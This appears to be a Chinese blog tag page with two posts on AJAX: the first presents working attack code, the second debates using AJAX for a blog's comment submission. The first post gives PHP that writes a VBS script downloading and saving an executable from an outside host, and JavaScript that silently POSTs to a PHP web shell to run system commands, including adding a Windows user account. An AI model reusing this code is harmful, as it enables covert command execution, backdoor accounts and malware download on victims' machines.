登陆
浏览模式: 标准 | 列表 Tag: ajax

AJAX在安全方面的应用

本来想给小黑群里的人开个玩笑。谁知道经过小黑的csrf实例后,大家都先看代码了。这下我明白了。小黑用过的招数都不能再用了。再用就不灵了。因为小黑太黑,让人印象深刻。

还是记录一下吧,ajax真的是隐秘性很高。我是这样来利用的。比较彻底。

PHP代码
  1. elseif ($doing == 'writevbs') {   
  2.     $fp = @fopen('c:/angel.vbs','w');   
  3.     $vbs = "Set love = CreateObject(\"Microsoft.XMLHTTP\")\n".   
  4.         "love.Open \"GET\",\"http://www.4ngel.net/1.exe\",0\n".   
  5.         "love.Send()\n".   
  6.         "Set you = CreateObject(\"ADODB.Stream\")\n".   
  7.         "you.Mode = 3\n".   
  8.         "you.Type = 1\n".   
  9.         "you.Open()\n".   
  10.         "you.Write(love.responseBody)\n".   
  11.         "you.SaveToFile \"c:\\1.exe\",2";   
  12.     @fwrite($fp,$vbs);   
  13.     @fclose($fp);   
  14. }  

加了一段代码是生成一个VBS脚本。这段脚本的作用从4ngel.net上下载一个1.exe文件保存到他本地的1.exe,然后有一段是AJAX的功能代码。

JavaScript代码
  1. <script type="text/javascript">   
  2. var http_request = false;   
  3. function makeRequest(url, httpType, sendData) {   
  4.     http_request = false;   
  5.     if (!httpType) httpType = "GET";   
  6.   
  7.     if (window.XMLHttpRequest) { // Non-IE...   
  8.         http_request = new XMLHttpRequest();   
  9.         if (http_request.overrideMimeType) {   
  10.             http_request.overrideMimeType('text/plain');   
  11.         }   
  12.     } else if (window.ActiveXObject) { // IE   
  13.         try {   
  14.             http_request = new ActiveXObject("Msxml2.XMLHTTP");   
  15.         } catch (e) {   
  16.             try {   
  17.                 http_request = new ActiveXObject("Microsoft.XMLHTTP");   
  18.             } catch (e) {}   
  19.         }   
  20.     }   
  21.   
  22.     if (!http_request) {   
  23.         alert('Cannot send an XMLHTTP request');   
  24.         return false;   
  25.     }   
  26.   
  27.     http_request.open(httpType, url, true);   
  28.     http_request.setRequestHeader('Content-Type''application/x-www-form-urlencoded');   
  29.     http_request.send(sendData);   
  30. }   
  31. //makeRequest('<?=$self?>', 'POST', 'action=file&doing=writevbs');   
  32. //makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=c:\angel.vbs');   
  33. //makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=c:\1.exe');   
  34. makeRequest('<?=$self?>''POST''action=shell&execfunc=system&command=net user angel angel /add');   
  35. makeRequest('<?=$self?>''POST''action=shell&execfunc=system&command=echo my_name_is_angel > c:\\angel.txt');   
  36. </script>  

最后几句是以POST方式请求本地测试环境中的phpspy2008,调用命令执行功能,生成vbs,然后执行VBS。再执行下载的exe文件。不过我已经注释掉了。这样在本地测试是成功的。对待自己兄弟们不能这么心狠。所以就注释掉了。加了一个用户。

我只是想说。AJAX作为一个现在逐渐受到重视的技术,在强调增加用户体验的同时,带来的安全也是神不知鬼不觉的。因为他的请求。你根本察觉不到。更具体的应用还是要靠大家自己去领悟了。

Tags: ajax, 安全

[探讨]AJAX的实用性,到底该不该用?

这两天看了不少AJAX资料。也把AJAX应用到SABLOG-X的提交评论部分,可是我首先发现了一个问题。

代码多了,多了一点JS代码,多了一点PHP代码,模板文件多了一个。可能代码一共有10K吧,多了10K代码其实没什么。但是提交评论这部分有点复杂了。

AJAX的应用为了什么?用户的体验。直接说我个人感受吧,不然越扯越罗嗦了。

优点:

  1. 无刷新,对用户浏览非常友好,不用看到该死的跳转页面。

缺点:

  1. JS代码和PHP代码多了。冗余代码多了。
  2. 又要涉及JS和XML技术。过多的JS代码容易让较老的机器假死或者反映慢,就像以前DVBBS采用JS输出一样,以前在网吧进入DVBSS浏览器就假死。
  3. Ajax的发展一定会涉及到JAVA,随着技术发展会涉及到更多新技术,我不是专门开发的,将来肯定力不从心。

-------------------------------------

再来说说我在网上看到很多人的观点:

  • 有人说AJAX不利于SEO,个人认为,如果仅仅把这个技术应用到提交评论部分,就没什么利不利于SEO的说法。
  • 有人说可以减轻服务器处理的负担。其实我不认为可以减轻服务器的负担,虽然说无刷新,但是还是对服务器进行了请求。既然有了请求,哪怕再怎么优化,服务器还是要处理请求,这一说法我表示怀疑。要么全部交给服务器处理,要么全部交给客户端处理,既然考虑用户,为什么还折腾用户的电脑呢?
  • 有人说现在浏览器大战,涉及到很多种浏览器的支持情况,那势必要调试多种环境来编写代码,我认为的确增加了开发人员的工作量。
  • 有人说AJAX存在安全隐患,如果交给客户端处理一部分程序流程,那非法用户可以修改很多参数,这点我不是很赞同,不管客户端提交什么,向服务器发送什么请求,只要过滤得好,这些安全隐患都不存在,安全关键在于开发人员的逻辑。

网上有说AJAX好的,有说AJAX坏的,有一篇文章更夸张《Ajax: 99% Bad》,反正我不反对使用AJAX,但是我确实怀疑AJAX应用在小型站点和BLOG程序甚至论坛程序上的必要性。前几天感觉AJAX不错。后来简单的把SABLOG-X加上了AJAX,应用在评论提交上,但是工作量大了,而且如果出现错误,或者禁用了SCRIPT,整个发表评论部分就不会工作了。

写这篇文章的目的主要想和有使用感受和开发经验的朋友探讨一下,AJAX应用在SABLOG-X的必要性,因为现在发表评论后的跳转页面,完全可以不用3秒。优化一会就OK了的。

Tags: ajax